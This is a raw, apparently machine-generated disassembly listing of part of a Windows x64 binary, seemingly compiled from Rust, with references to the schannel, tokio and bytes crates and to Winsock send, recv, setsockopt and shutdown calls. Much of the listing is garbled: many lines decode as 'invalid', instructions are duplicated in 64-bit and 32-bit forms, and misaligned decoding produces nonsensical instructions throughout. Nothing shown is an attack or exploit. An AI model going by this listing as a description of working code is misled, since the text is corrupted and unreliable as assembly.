mov al, reloc.WS2_32.dll_shutdown
jmp case.0x1400dfa4d.461
in eax, 0xfd
invalid
mov al, 0x27
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
push qword [rax - 0x22816ed]
mov al, reloc.WS2_32.dll_send
jmp case.0x1400dfa4d.461
xlatb
std
invalid
invalid
xlatb
std
invalid
mov al, 0x17
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
mov al, 0x1c
jmp case.0x1400dfa4d.461
invalid
mov al, 0x1d
jmp case.0x1400dfa4d.461
ret 0xfffd
invalid
mov al, 0x26
jmp case.0x1400dfa4d.461
std
invalid
invalid
std
invalid
mov al, 0x1a
jmp case.0x1400dfa4d.461
std
invalid
invalid
std
invalid
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rbx
mov rdx, rdi
call fcn.1401869f0
xchg ebp, eax
adc dword [rdi], eax
add byte [rdi], cl
invalid
xchg ebp, eax
adc dword [rdi], eax
add byte [rdi], cl
or ecx, dword [rdi]
invalid
nop dword [rax]
mov qword [rsp + 0x10], rdx
and al, 0x10
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x50
in al, dx
sub byte [rax - 0x73], cl
push 0x50
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14861e3c9
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
invalid
invalid
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
invalid
call fcn.140005270
stc
out dx, al
dec dword [rax - 0x75]
clc
invalid
stc
out dx, al
dec dword [rax - 0x75]
clc
mov ecx, dword [rbp - 8]
call fcn.140029350
nop
add rsp, 0x28
add esp, 0x28
int1
call qword [rax + 0x28c48348]
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
mov rcx, qword [rbp - 8]
clc
call fcn.140114ee0
nop
add rsp, 0x28
add esp, 0x28
invalid
idiv bh
call qword [rax + 0x28c48348]
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
int3
int3
int3
int3
int3
int3
jmp fcn.140111140
movabs r8, 0xccccccccccccffff
mov eax, 0xccccffff
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rsi
sub rsp, 0x30
sub esp, 0x30
in al, dx
xor byte [rax - 0x77], cl
invalid
invalid
mov rsi, rcx
mov esi, ecx
invalid
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
call fcn.140110b30
sbb dword [rdx - 0x76b70001], esi
mov dl, 0xff
dec dword [rax - 0x77]
invalid
mov rax, rsi
invalid
add rsp, 0x30
add esp, 0x30
invalid
xor byte [rsi - 0x3d], bl
jmp fcn.140115540
sbb edi, esp
invalid
invalid
pop rsi
ret
sbb edi, esp
cld
invalid
int3
int3
int3
int3
int3
jmp case.0x14010ab6c.173
wait
fdivr st(7)
invalid
dec esp
int3
int3
int3
int3
int3
int3
int3
sub rsp, 0x30
xor byte [rcx + rcx*4 - 0x38], cl
mov rax, r9
mov eax, ecx
mov rsi, rcx
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
and al, 0x60
invalid
add rax, 0xfffffffffffffff0
sal al, 0x48
shl ecx, 4
loope 0x14011595c
invalid
shl rcx, 4
loope 0x14011595c
lea r9, [0x1401ea218]
lea ecx, [0x1401ea218]
or eax, 0xd48b9
or rax, 0xffffffff85489000
or eax, 0x85489000
nop
test rcx, rcx
test ecx, ecx
leave
je case.0x14010aa3a.276
invalid
mov r10d, dword [rax + 0x10]
mov edx, dword [rax + 0x10]
push rax
adc byte [rax - 0x7d], cl
add rax, 0x10
rcl byte [rax], 0x48
add rcx, 0xfffffffffffffff0
add ecx, 0xfffffff0
invalid
test r10, r10
test edx, edx
sal byte [rdx + rbp*8 + 0x4c], cl
je case.0x14010aa3a.264
invalid
mov r9, qword [rax + 8]
mov ecx, dword [rax + 8]
or bl, ch
jmp 0x14011597f
add eax, dword [rbp + 0x31]
xor r10d, r10d
xor edx, edx
ror byte [rcx + rcx*4 + 0x54], cl
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x20], edx
and al, 0x20
and byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
int1
call fcn.140110b30
mov cl, 0xff
invalid
dec dword [rax - 0x77]
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x30
add esp, 0x30
invalid
xor byte [rsi - 0x3d], bl
pop rsi
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
add rdx, 0x10
add edx, 0x10
ret 0xe810
adc al, ch
call fcn.140052c60
scasd eax, dword [rdi]
sal bl, cl
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x20
add esp, 0x20
invalid
and byte [rsi - 0x3d], bl
pop rsi
ret
int3
int3
int3
int3
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
call fcn.140112fb0
jrcxz case.0x14010aa7a.248
invalid
invalid
dec dword [rax - 0x77]
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x20
add esp, 0x20
invalid
and byte [rsi - 0x3d], bl
pop rsi
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rbp
push r15
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x78
sub esp, 0x78
in al, dx
js case.0x14011130f.215
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
add dh, bh
invalid
invalid
dec dword [rcx + rcx*4 - 0x39]
mov rdi, r8
mov edi, eax
invalid
mov r12, rcx
mov esp, ecx
mov qword [rcx + 0x138], rdx
mov dword [rcx + 0x138], edx
xchg ecx, eax
cmp byte [rcx], al
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
invalid
add byte [rax], al
mov rsi, qword [r8]
mov esi, dword [rax]
xor byte [rbp - 0x75], cl
mov r15, qword [r8 + 8]
mov edi, dword [rax + 8]
js case.0x1400e3648.466
mov rbx, qword [r8 + 0x10]
mov ebx, dword [rax + 0x10]
pop rax
adc byte [rbp - 0x75], cl
jo case.0x1400e9218.443
invalid
mov r14, qword [r8 + 0x18]
mov esi, dword [rax + 0x18]
sbb byte [rbp - 0x77], cl
mov r8, r15
mov eax, edi
clc
sub r8, r14
sub eax, esi
jbe case.0x1400e3648.470
adc al, 0x49
add r14, rsi
add esi, esi
test byte [rcx + rcx*4 - 0xf], 0x31
mov rcx, r14
int1
xor edx, edx
shr al, cl
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x4c00070a
or al, byte [rdi]
add byte [rcx + rcx*4 + 0x7f], cl
mov qword [rdi + 0x18], r15
mov dword [rdi + 0x18], edi
jg case.0x1400e3648.467
sbb byte [rbp - 0x77], cl
mov r14, r15
mov esi, edi
dec byte [rcx + 0x39]
fisttp word [rcx + rcx*4 + 0x65]
invalid
invalid
invalid
cmp r15, rbx
cmp edi, ebx
mov qword [rbp - 8], r12
mov dword [rbp - 8], esp
clc
clc
jb 0x140115dbd
invalid
jnp case.0x1400e3648.455
add eax, dword [rax]
add byte [rax], al
add byte [rcx + 0x29], cl
sub r15, rbx
sub edi, ebx
fisttp word [rax + 1]
add rsi, rbx
add esi, ebx
fimul word [rax - 0x77]
mov qword [rbp - 0x18], rsi
mov dword [rbp - 0x18], esi
jne case.0x1401528ff.444
call 0xf87ee79c
lea r13, [rbp - 0x48]
lea ebp, [rbp - 0x48]
insd dword [rdi], dx
mov eax, 0x24948b49
mov rdx, qword [r12 + 0x170]
mov edx, dword [rsp + 0x170]
xchg esp, eax
and al, 0x70
jo case.0x1401528ff.457
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x75], cl
mov rcx, qword [r12 + 0x178]
mov ecx, dword [rsp + 0x178]
mov word [rax + rdi*2], fs
and al, 0x78
js case.0x1400e3648.479
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x39], cl
cmp rcx, rdx
cmp ecx, edx
ror dword [rdi], 1
ja case.0x14011130f.242
xchg dword [rbx + 3], eax
add eax, dword [r8]
add eax, dword [rax]
add byte [rax], al
add byte [rdi], cl
jne 0x140115b00
test dword [rcx + 0x4c000000], edx
xchg ecx, eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
jmp 0x128f3e3c2
mov rdx, r12
mov edx, esp
loop case.0x1401132c0.94
call fcn.140116ce0
adc al, byte [rax]
adc al, byte [rax]
add byte [rax], al
add byte [rbx - 0x77c47bb], cl
mov eax, dword [rbp - 0x48]
mov r8d, 0x7501f883
cmp eax, 1
clc
add dword [rbp + 0x63], esi
jne case.0x14010aa3a.297
invalid
mov r12, qword [rbp - 8]
clc
clc
cmp qword [r12 + 0x1f8], 0
cmp dword [rsp + 0x1f8], 0
mov esp, 0x1f824
and al, 0xf8
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + rbp + 0x4c], dh
je case.0x1401528ff.466
invalid
mov rcx, r13
mov ecx, ebp
jmp 0x128f3e3e4
mov rdx, r12
mov edx, esp
loop case.0x14014c89f.444
call fcn.1401187b0
adc al, 0x2d
sub eax, 0x83480000
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
jge case.0x1400e3648.457
add byte [rax - 0x75], cl
mov rsi, qword [rbp - 0x40]
mov esi, dword [rbp - 0x40]
jne case.0x1401528ff.458
ror byte [rdi], 0x85
jne case.0x140110e46.360
rol byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rsi, rsi
test esi, esi
test byte [rbx + rcx*4 + 0x65], 0xf8
mov r12, qword [rbp - 8]
mov esp, dword [rbp - 8]
clc
clc
je 0x140115b00
mov qword [r12 + 0x1f8], 0
mov qword [r12 + 0x1f8], 0
mov dword [rsp + 0x1f8], 0
test byte [rax + rdi*8], ah
and al, 0xf8
clc
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
mov rdx, r12
loop case.0x140110e46.322
call fcn.1401189e0
adc eax, 0x8000002f
invalid
cmp byte [rbp - 0x48], 0
jge case.0x14011130f.214
mov eax, 0x9e850f00
add byte [rdi], cl
jne case.0x1400e1cdb.504
test dword [rsi - 0x80000000], ebx
add byte [rax], al
add byte [rax + 0x4c00b97d], al
invalid
invalid
invalid
add byte [rax], al
cmp byte [rbp - 0x47], 0
jge case.0x1400e37ef.443
add byte [rbx + rcx*4 + 0x65], cl
mov r12, qword [rbp - 8]
mov esp, dword [rbp - 8]
clc
clc
je 0x140115a50
invalid
invalid
invalid
jmp 0x140115b00
sbb eax, dword [rbx - 0x74b3fd08]
clc
cmp eax, 2
add cl, byte [rbx + rcx*4 + 0x65]
mov r12, qword [rbp - 8]
mov esp, dword [rbp - 8]
clc
jne 0x140115b00
mov rsi, qword [rbp - 0x40]
mov esi, dword [rbp - 0x40]
jne case.0x1401528ff.460
test rsi, rsi
test esi, esi
test byte [rdi], 0x85
jne 0x140115b86
test dword [rbx - 0x17000000], ecx
mov eax, dword [rax]
add byte [rax], al
jmp case.0x1401132c0.125
movabs eax, dword [0x4df075894c000000]
add byte [rax], al
add byte [rcx + rcx*4 + 0x75], cl
invalid
add byte [rax], al
mov qword [rbp - 0x10], r14
mov dword [rbp - 0x10], esi
jne case.0x140115682.47
invalid
mov r14, qword [r12 + 0x170]
mov esi, dword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
mov rsi, qword [r12 + 0x178]
mov ah, 0x24
js case.0x14014c89f.434
invalid
and al, 0x78
add dword [rax], eax
add byte [rax], al
add byte [rbp - 0x77], cl
cmc
mov r13, r14
mov ebp, esi
sub r13, rsi
sub ebp, esi
cmc
jb case.0x14014c89f.473
mov cl, 2
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
mov rdx, qword [r12 + 0x160]
mov edx, dword [rsp + 0x160]
xchg esp, eax
and al, 0x60
add dword [rax], eax
add byte [rax], al
add byte [rax + 1], cl
add rdx, rsi
cmp r15, r13
out dx, eax
cmp r15, r13
out dx, eax
cmovb r13, r15
cmovb ebp, edi
out dx, eax
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x128f9e487
mov r8, r13
mov eax, ebp
call 0x1471af925
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
add esi, ebp
popfq
or dword [rdi], eax
add byte [rcx + rax - 0x12], cl
add esi, ebp
cmp rsi, r14
cmp esi, esi
test byte [rdi], 0x87
ja case.0x1400e7c73.490
wait
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
mov ah, 0x24
and al, 0x78
invalid
mov qword [r12 + 0x178], rsi
mov dword [rsp + 0x178], esi
and al, 0x78
add dword [rax], eax
add byte [rax], al
add byte [rcx + rax - 0x15], cl
add rbx, r13
jmp 0x140115b9e
mov rax, qword [rbp - 0x10]
invalid
jb 0x140115dff
movabs al, byte [0x870fc33948000002]
mov cl, 2
add byte [rax], al
invalid
cmp rbx, rax
ja case.0x140110e46.369
xchg dword [rcx + 0x48000002], esi
mov qword [rdi + 0x10], rbx
mov dword [rdi + 0x10], ebx
adc byte [rcx], dh
imul cl
invalid
leave
xor esi, esi
jmp 0x140115c3c
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rsi, qword [rbp - 0x40]
jne 0x140115b37
ror byte [rbx + rcx*4 + 0x65], 0xf8
mov r12, qword [rbp - 8]
clc
jmp 0x140115b86
mov r12, qword [rbp - 8]
mov esp, dword [rbp - 8]
test rsi, rsi
div byte [rbx + rbx - 0x77]
and ebx, 3
and ebx, 3
je case.0x1401132c0.125
sbb ecx, dword [rcx + 0x3e383f3]
mov ebx, esi
and ebx, 3
lea rax, [0x1401ef4a8]
lea eax, [0x1401ef4a8]
add byte [rax + 0x63], cl
or al, 0x98
movsxd rcx, dword [rax + rbx*4]
invalid
add rcx, rax
jmp rcx
loope case.0x1400d1872.561
movzx eax, byte [rsi + 0x10]
jmp case.0x14010aa3a.336
invalid
mov dh, 0x46
adc bl, ch
cmp eax, 0x94e9f631
xor esi, esi
jmp 0x140115c3c
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
shr rcx, 0x20
call fcn.14014c870
insb byte [rdi], dx
add eax, dword [rax]
and al, ch
mov esp, 0xeb00036c
insb byte [rdi], dx
add eax, dword [rax]
invalid
insb byte [rdi], dx
add eax, dword [rax]
jmp case.0x14010aa3a.336
sub byte [rax - 0x77], cl
invalid
mov rax, rsi
shr rax, 0x20
and byte [rbx - 0x78f0d708], al
cmp eax, 0x28
sub byte [rdi], cl
xchg dword [rcx + 1], esp
invalid
invalid
ja case.default.0x140115bd4
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [0x1401ef4b8]
add byte [rax], al
lea rcx, [0x1401ef4b8]
jmp 0x140115b63
cwde
or eax, 0x4634800
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x31e0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
xor eax, eax
shr bl, 4
jmp case.0x14010aa3a.336
add al, 0xf
mov dh, 0x46
invalid
invalid
movzx eax, byte [rsi + 0xf]
cmp al, 0xd
or eax, 0xc7495a75
test byte [rax + rdi], ah
and al, 0x38
jne 0x140115c3c
pop rdx
mov qword [r12 + 0x138], 0
and al, 0x38
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + 1], bh
mov edi, 1
lea rax, [rbx - 2]
lea eax, [rbx - 2]
dec byte [r8 - 0x7d]
cmp rax, 2
clc
add cl, byte [rdi]
jb case.0x140115b99.40
invalid
mov al, byte [rax]
add byte [rax], al
test rbx, rbx
test ebx, ebx
fisttp dword [rdi]
je case.0x140115b99.40
test byte [rcx + 0x48000000], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsi - 1]
lea eax, [rsi - 1]
dec dword [rax - 0x77]
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
clc
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
dec dword [rax - 0x75]
mov rax, qword [rsi + 7]
mov eax, dword [rsi + 7]
invalid
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
call 0xcb596d25
call qword [rax]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14889df74
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
or byte [rax], al
add byte [rcx + rcx*2 + 0x48], dh
je case.0x140110e31.507
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
adc byte [rcx], dl
adc dword [rbx + 0x2b], esi
jae case.0x1400e1cdb.510
sub ecx, dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x10]
invalid
jmp case.0x1400e37ef.477
sub eax, 0x2484c749
mov qword [r12 + 0x138], 0
mov dword [rsp + 0x138], 0
cmp byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], dh
xor edi, edi
dec dword [rax - 0x77]
mov rax, rdi
clc
mov rdx, rsi
mov edx, esi
add rsp, 0x78
add rsp, 0x78
js case.0x140115bd4.16
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
mov r8, qword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
clc
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x1265e8
call 0x171116ed6
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x793b0
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x1265d9
adc al, byte gs:[rax]
adc al, byte [rax]
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
clc
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7939d
popfq
xchg ebx, eax
invalid
add bl, ch
mov ebp, 0x4ae925b0
mov al, 0x25
invalid
invalid
jmp 0x140115c4a
mov al, 0x25
and eax, 0xffff4ae9
push qword [rax - 0xbc16dd]
mov al, 0x23
invalid
invalid
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x23
and ebp, ecx
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x24
and al, 0xe9
cmp al, 0xff
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x1b
sbb ebp, ecx
jmp case.0x14010aa3a.336
xor eax, 0xb0ffffff
invalid
invalid
mov al, 0x22
and ch, cl
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_recv
adc cl, ch
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, 0xe
invalid
jmp case.0x14010aa3a.336
and bh, bh
invalid
invalid
mov al, 0x21
and ecx, ebp
jmp case.0x14010aa3a.336
sbb edi, edi
invalid
invalid
mov al, 0xb
or ebp, ecx
jmp case.0x14010aa3a.336
adc bh, bh
invalid
invalid
mov al, 4
add al, 0xe9
jmp case.0x14010aa3a.336
or edi, edi
invalid
invalid
mov al, 0x28
sub cl, ch
jmp case.0x14010aa3a.336
add al, 0xff
invalid
invalid
push qword [rax - 0x10216f4]
mov al, 0xc
or al, 0xe9
jmp case.0x14010aa3a.336
std
invalid
invalid
mov al, 9
or ecx, ebp
jmp case.0x14010aa3a.336
idiv dh
invalid
invalid
mov al, 0x19
sbb ecx, ebp
jmp case.0x14010aa3a.336
out dx, eax
invalid
invalid
mov al, 0x18
sbb cl, ch
jmp case.0x14010aa3a.336
call 0xf1115cf5
invalid
invalid
mov al, 2
add ch, cl
jmp case.0x14010aa3a.336
loope case.0x1401528ff.494
invalid
invalid
mov al, recv
psubsw mm3, mm2
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, 3
add ebp, ecx
jmp case.0x14010aa3a.336
sar esi, cl
invalid
invalid
mov al, 7
invalid
jmp case.0x14010aa3a.336
int3
invalid
invalid
mov al, 1
add ecx, ebp
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, 0x1f
invalid
jmp case.0x14010aa3a.336
mov esi, 0xb0fffffe
invalid
invalid
mov al, 0x11
adc ecx, ebp
jmp case.0x14010aa3a.336
mov bh, 0xfe
invalid
invalid
mov al, 0x29
jmp case.0x14010aa3a.336
mov al, 0xfe
invalid
invalid
sub ecx, ebp
mov al, 0xfe
invalid
invalid
mov al, setsockopt
adc al, 0xe9
jmp case.0x14010aa3a.336
test eax, 0xb0fffffe
invalid
invalid
mov al, 5
add eax, 0xfffea2e9
push qword [rax - 0x16416eb]
mov al, reloc.WS2_32.dll_setsockopt
invalid
wait
invalid
jmp case.0x14010aa3a.336
movabs byte [0xfe9be915b0fffffe], al
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
adc eax, 0xfffe9be9
push qword [rax - 0x16b16f3]
mov al, 0xd
invalid
xchg esp, eax
invalid
jmp case.0x14010aa3a.336
wait
invalid
invalid
mov al, 0xd
or eax, 0xfffe94e9
push qword [rax - 0x17216fa]
mov al, 6
invalid
invalid
invalid
jmp case.0x14010aa3a.336
xchg esp, eax
invalid
invalid
mov al, 6
invalid
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, send
adc ch, cl
jmp case.0x14010aa3a.336
xchg dh, bh
invalid
invalid
mov al, 0xa
or ch, cl
jmp case.0x14010aa3a.336
jg case.0x1401528ff.508
invalid
invalid
mov al, 8
or cl, ch
jmp case.0x14010aa3a.336
js case.0x1401528ff.509
invalid
invalid
push qword [rax - 0x18e16e2]
mov al, 0x1e
invalid
jmp case.0x14010aa3a.336
jno case.0x1401528ff.510
invalid
invalid
mov al, 0x20
and cl, ch
jmp case.0x14010aa3a.336
push 0xfffffffffffffffe
invalid
invalid
push qword [rax - 0x19c16ea]
mov al, reloc.WS2_32.dll_shutdown
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x27
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, reloc.WS2_32.dll_send
adc ebp, ecx
push rbp
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x17
invalid
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x1c
sbb al, 0xe9
jmp case.0x14010aa3a.336
invalid
invalid
invalid
mov al, 0x1d
sbb eax, 0xfffe40e9
push qword [rax - 0x1c616da]
mov al, 0x26
invalid
cmp esi, edi
jmp case.0x14010aa3a.336
invalid
invalid
mov al, 0x26
jmp case.0x14010aa3a.336
jmp case.0x14010aa3a.336
cmp esi, edi
invalid
invalid
mov al, 0x1a
sbb ch, cl
xor bh, dh
jmp case.0x14010aa3a.336
invalid
invalid
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bd660]
add eax, 0xa78ad
js case.0x14014c89f.470
or al, byte [rax]
add al, ch
call fcn.1401869f0
cmp byte [rdi + rax], cl
or al, 7
add cl, ch
xchg ecx, eax
jmp case.0x140111eeb.180
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
jl 0x140115e3e
invalid
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcio_read_buf.rs
lea eax, [0x1401bda40]
add eax, 0xa7c7c
jl case.0x140113275.255
or al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rbx
mov ecx, ebx
invalid
mov rdx, r15
mov edx, edi
cli
call fcn.140186d80
sysret
invalid
jmp case.0x140111eeb.180
jge case.0x14014c89f.484
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bd660]
add eax, 0xa7888
mov byte [rax + 0xa], bh
or al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov rdx, r14
bnd call fcn.1401869f0
call fcn.1401869f0
or eax, 0xeb00070c
invalid
add bl, ch
jmp case.0x140111eeb.180
imul ecx, dword [rax - 0x73], 0xa781c0d
lea rcx, str.assertion_failed:_pos___self.dec_in.get_ref__.len___as_u64
lea ecx, str.assertion_failed:_pos___self.dec_in.get_ref__.len___as_u64
sbb al, 0x78
or al, byte [rax]
invalid
js 0x140115df5
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401bd648]
push rbp
js 0x140115dfc
or al, byte [rax]
add byte [rdx + 0x3b], bh
mov edx, 0x3b
cmp eax, dword [rax]
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140186b70
jae case.0x1400e7c73.495
or eax, 0x4feb0007
invalid
add bl, ch
jmp case.0x140111eeb.180
lea rcx, str.filled_overflowfilled_must_not_become_larger_than_initialized
lea rcx, str.filled_overflowfilled_must_not_become_larger_than_initialized
lea ecx, str.filled_overflowfilled_must_not_become_larger_than_initialized
or eax, 0xae7ba
mov edx, 0x4c000ae7
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401bda58]
lea eax, [0x1401bda58]
add eax, 0xa7c4b
jl case.0x1400e7c73.497
add byte [rdx + 0xf], bh
mov edx, recv
sldt word [rax]
add byte [rax], al
add byte [rax], al
add al, ch
adc qword [r15], rax
invalid
call fcn.140186f60
invalid
add bl, ch
xor eax, 0xe0058d48
invalid
invalid
invalid
invalid
jmp case.0x140111eeb.180
lea rax, [0x1401c4600]
loopne 0x140115e05
out 0xa, eax
add byte [rax - 0x77], cl
mov r8d, 0xc045c748
mov eax, 0xc045c748
or al, byte [rax]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
mov dword [rbp - 0x40], 1
mov eax, 0xc045c748
mov dword [rbp - 0x40], 1
rol byte [rcx], 0
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401ea218]
add byte [rax], al
lea rax, [0x1401ea218]
or eax, 0x45894800
enter 0x570f, 0xffffffffffffffc0
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
enter 0x570f, 0xffffffffffffffc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
adc dword [rbp - 0x30], eax
lea rdx, [0x1401bda58]
adc edi, dword [rdx + rcx]
lea rcx, [rbp - 0x48]
movabs r8, 0x480b0f00070b62e8
mov dword [rsp + 0x10], edx
call fcn.1401869b0
or eax, dword [rdi]
add byte [rdi], cl
invalid
ud2
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
invalid
lea rbp, [rdx + 0x70]
mov rcx, qword [rbp - 8]
clc
call fcn.1401187a0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
push 0x70
lea rbp, [rdx + 0x70]
mov rax, qword [rbp - 0x18]
